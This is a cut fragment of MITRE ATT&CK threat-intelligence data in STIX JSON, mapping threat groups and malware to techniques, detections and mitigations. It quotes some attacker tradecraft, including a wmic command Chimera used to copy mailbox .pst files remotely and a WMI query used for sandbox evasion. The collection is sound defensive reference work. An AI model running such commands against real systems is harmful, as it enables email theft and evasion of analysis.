2021."}],"modified":"2021-03-05T18:54:56.759Z","description":"(Citation: Malwarebytes Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--717442d5-dd5a-4658-87e1-33f727dd1fa2","type":"relationship","created":"2022-01-09T22:23:04.093Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. 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Retrieved July 13, 2017.","url":"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc7f6dcb-dae0-401b-ba21-158c040c717e","type":"relationship","created":"2021-11-23T15:26:58.525Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. 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(2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.470Z","description":"[Attor](https://attack.mitre.org/software/S0438) performs the injection by attaching its code into the APC queue using NtQueueApcThread API.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87ca16c5-1d11-4dca-b127-b23365e4f66f","type":"relationship","created":"2020-09-15T14:56:31.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zdnet Ngrok September 2018","url":"https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/","description":"Cimpanu, C. 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Retrieved September 15, 2020."}],"modified":"2020-09-15T14:56:31.197Z","description":"[Ngrok](https://attack.mitre.org/software/S0508) can provide DGA for C2 servers through the use of random URL strings that change every 12 hours.(Citation: Zdnet Ngrok September 2018)","relationship_type":"uses","source_ref":"malware--911fe4c3-444d-4e92-83b8-cc761ac5fd3b","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e4c55fc-a923-4c05-89ce-3102620a41d7","type":"relationship","created":"2020-05-22T19:37:14.268Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Chafer February 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."},{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2020-12-11T15:57:09.779Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used various tools to steal files from the compromised host.(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ef56254-5eb9-42b9-a714-865c49a8fefd","type":"relationship","created":"2019-04-24T19:45:44.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. 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Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.","modified":"2022-04-20T00:32:09.261Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87146c3d-f6f3-4800-b74c-50e1b1cbfa9f","type":"relationship","created":"2020-02-20T15:31:43.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-20T15:31:43.917Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dcafed44-9d31-4d75-915f-660f5fd62fed","type":"relationship","created":"2021-03-05T18:09:35.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. 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Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-20T02:12:29.722Z","description":"[KOMPROGO](https://attack.mitre.org/software/S0156) is capable of retrieving information about the infected system.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--969d588f-7357-4349-b158-2bf78704c1b4","type":"relationship","created":"2020-07-15T19:18:56.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Juniper IcedID June 2020","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware","description":"Kimayong, P. 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Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-11-01T21:12:15.065Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has dumped credentials, including by using gsecdump.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a360fa6b-8b36-4401-b717-436badd67476","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59c58c73-046c-4e01-9ced-8c049381fcd2","type":"relationship","created":"2020-12-29T21:32:28.114Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NHS Digital Egregor Nov 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary","description":"NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. 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In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost.","relationship_type":"mitigates","source_ref":"course-of-action--3bd2cf87-1ceb-4317-9aee-3e7dc713261b","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d115073-c008-4394-867d-07c385d3db87","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html","description":"Svajcer, V. (2018, July 31). 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Retrieved August 19, 2020."}],"modified":"2020-11-09T19:35:19.080Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has sent user and system information to a C2 server via HTTP POST requests.(Citation: NHS UK BLINDINGCAN Aug 2020)(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a93c25c-c9cb-4cd9-a36b-1f2353e91e32","type":"relationship","created":"2019-04-19T14:09:25.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). 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One technique the group has used was to perform a WMI query <code>SELECT * FROM MSAcpi_ThermalZoneTemperature</code> to check the temperature to see if it’s running in a virtual environment.(Citation: Unit 42 OilRig Sept 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b783f90e-bd7c-4513-b15a-731637d7078d","created":"2020-01-24T17:42:23.786Z","x_mitre_version":"1.0","external_references":[{"source_name":"Increasing Linux kernel integrity","url":"https://linux-audit.com/increase-kernel-integrity-with-disabled-linux-kernel-modules-loading/","description":"Boelen, M. (2015, October 7). Increase kernel integrity with disabled Linux kernel modules loading. Retrieved June 4, 2020."},{"source_name":"Kernel Self Protection Project","url":"https://www.kernel.org/doc/html/latest/security/self-protection.html","description":"Kernel.org. (2020, February 6). Kernel Self-Protection. Retrieved June 4, 2020."},{"source_name":"LKM loading kernel restrictions","url":"https://xorl.wordpress.com/2018/02/17/lkm-loading-kernel-restrictions/","description":"Pingios, A.. (2018, February 7). LKM loading kernel restrictions. Retrieved June 4, 2020."},{"source_name":"Kernel.org Restrict Kernel Module","url":"https://patchwork.kernel.org/patch/8754821/","description":"Vander Stoep, J. (2016, April 5). [v3] selinux: restrict kernel module loadinglogin  register. Retrieved April 9, 2018."},{"source_name":"Wikibooks Grsecurity","url":"https://en.wikibooks.org/wiki/Grsecurity/The_RBAC_System","description":"Wikibooks. (2018, August 19). Grsecurity/The RBAC System. Retrieved June 4, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Application control and software restriction tools, such as SELinux, KSPP, grsecurity MODHARDEN, and Linux kernel tuning can aid in restricting kernel module loading.(Citation: Kernel.org Restrict Kernel Module)(Citation: Wikibooks Grsecurity)(Citation: Kernel Self Protection Project)(Citation: Increasing Linux kernel integrity)(Citation: LKM loading kernel restrictions)","modified":"2022-04-18T19:59:08.120Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--922af0dd-415c-4512-9fe2-710a954f4c80","type":"relationship","created":"2021-09-07T15:24:47.972Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. 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If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. https://tools.cisco.com/security/center/resources/integrity_assurance.html#13","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73d8feea-0b53-419a-be1b-5750aa47f2df","type":"relationship","created":"2020-06-18T17:27:09.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-18T17:27:09.323Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has the ability to remove files and folders related to previous infections.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d316289b-26fa-49d7-8ed0-3fa56cc858b7","type":"relationship","created":"2020-04-28T13:48:00.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 March 2020","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."},{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. 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(2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Peirates](https://attack.mitre.org/software/S0683) can query the query AWS and GCP metadata APIs for secrets.(Citation: Peirates GitHub)","modified":"2022-04-14T20:57:07.027Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--79dd477a-8226-4b3d-ad15-28623675f221","target_ref":"attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19e387c4-0dd8-4c00-9195-73ed25ad061e","type":"relationship","created":"2020-12-28T21:51:00.010Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. 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(2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."},{"source_name":"PaloAlto NanoCore Feb 2016","url":"https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/","description":"Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."}],"modified":"2019-04-17T20:47:23.969Z","description":"[NanoCore](https://attack.mitre.org/software/S0336) can access the victim's webcam and capture data.(Citation: DigiTrust NanoCore Jan 2017)(Citation: PaloAlto NanoCore Feb 2016)","relationship_type":"uses","source_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--121152af-4bfe-4202-ade0-aad9fb85e0ad","type":"relationship","created":"2020-05-14T21:17:54.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). 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Retrieved May 6, 2020."}],"modified":"2020-05-14T21:17:54.058Z","description":"[Okrum](https://attack.mitre.org/software/S0439) loader only executes the payload after the left mouse button has been pressed at least three times, in order to avoid being executed within virtualized or emulated environments.(Citation: ESET Okrum July 2019) ","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccb912dd-ed1f-4844-9bc0-75a033fa8813","type":"relationship","created":"2022-02-01T21:21:35.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-01T21:21:35.872Z","description":"[Ferocious](https://attack.mitre.org/software/S0679) can delete files from a compromised host.(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"malware--73d08401-005f-4e1f-90b9-8f45d120879f","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71b92fe6-dd99-4192-b327-8ef27b790123","type":"relationship","created":"2020-12-29T16:20:28.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. 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Retrieved January 19, 2021."}],"modified":"2021-01-22T16:47:23.281Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has harvested data from victim's e-mail including through execution of <code>wmic /node:<ip> process call create \"cmd /c copy c:\\Users\\<username>\\<path>\\backup.pst c:\\windows\\temp\\backup.pst\" copy \"i:\\<path>\\<username>\\My Documents\\<filename>.pst\"\ncopy</code>.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c0ec3cf-8942-4d47-b1ac-dfdaca31bac0","type":"relationship","created":"2020-03-27T13:32:37.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec","description":"Graeber, M. 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(Citation: SpectorOps Code Signing Dec 2017)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f60afd0d-68d1-4b71-bb07-b943e9542b2d","type":"relationship","created":"2020-03-30T02:26:59.962Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. 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Retrieved February 19, 2018.","source_name":"McAfee Lazarus Resurfaces Feb 2018"}],"modified":"2020-12-11T17:47:23.113Z","description":"A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample encrypts data using a simple byte based XOR operation prior to exfiltration.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e8a0760-f21e-4936-80a1-769c7ef61950","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Vasport May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99"}],"modified":"2020-03-17T02:47:10.930Z","description":"[Vasport](https://attack.mitre.org/software/S0207) can download files.(Citation: Symantec Vasport May 2012)","relationship_type":"uses","source_ref":"malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f174d38-f30b-4037-a1bc-ecc099809966","type":"relationship","created":"2020-11-17T18:39:07.111Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-17T18:39:07.111Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has mimicked the names of known executables, such as mediaplayer.exe.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--620d641c-8f76-45f3-a86f-03dd28399d5c","type":"relationship","created":"2019-06-13T16:02:06.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077","description":"UCF. (n.d.). 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(Citation: UCF STIG Elevation Account Enumeration)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--730a735c-1008-490e-b0c8-6938b858b28a","type":"relationship","created":"2021-04-21T13:20:13.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BendyBear Feb 2021","url":"https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/","description":"Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."}],"modified":"2021-04-21T15:02:21.244Z","description":"[BendyBear](https://attack.mitre.org/software/S0574) has used a custom RC4 and XOR encrypted protocol over port 443 for C2.(Citation: Unit42 BendyBear Feb 2021)","relationship_type":"uses","source_ref":"malware--805480f1-6caa-4a67-8ca9-b2b39650d986","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4e9f93d-ae64-4f75-b12b-acbb45c31c41","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Bisonal July 2018","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"},{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-26T21:51:21.775Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) can execute <code>ipconfig</code> on the victim’s machine.(Citation: Unit 42 Bisonal July 2018)(Citation: Kaspersky CactusPete Aug 2020)(Citation: Talos Bisonal Mar 2020) 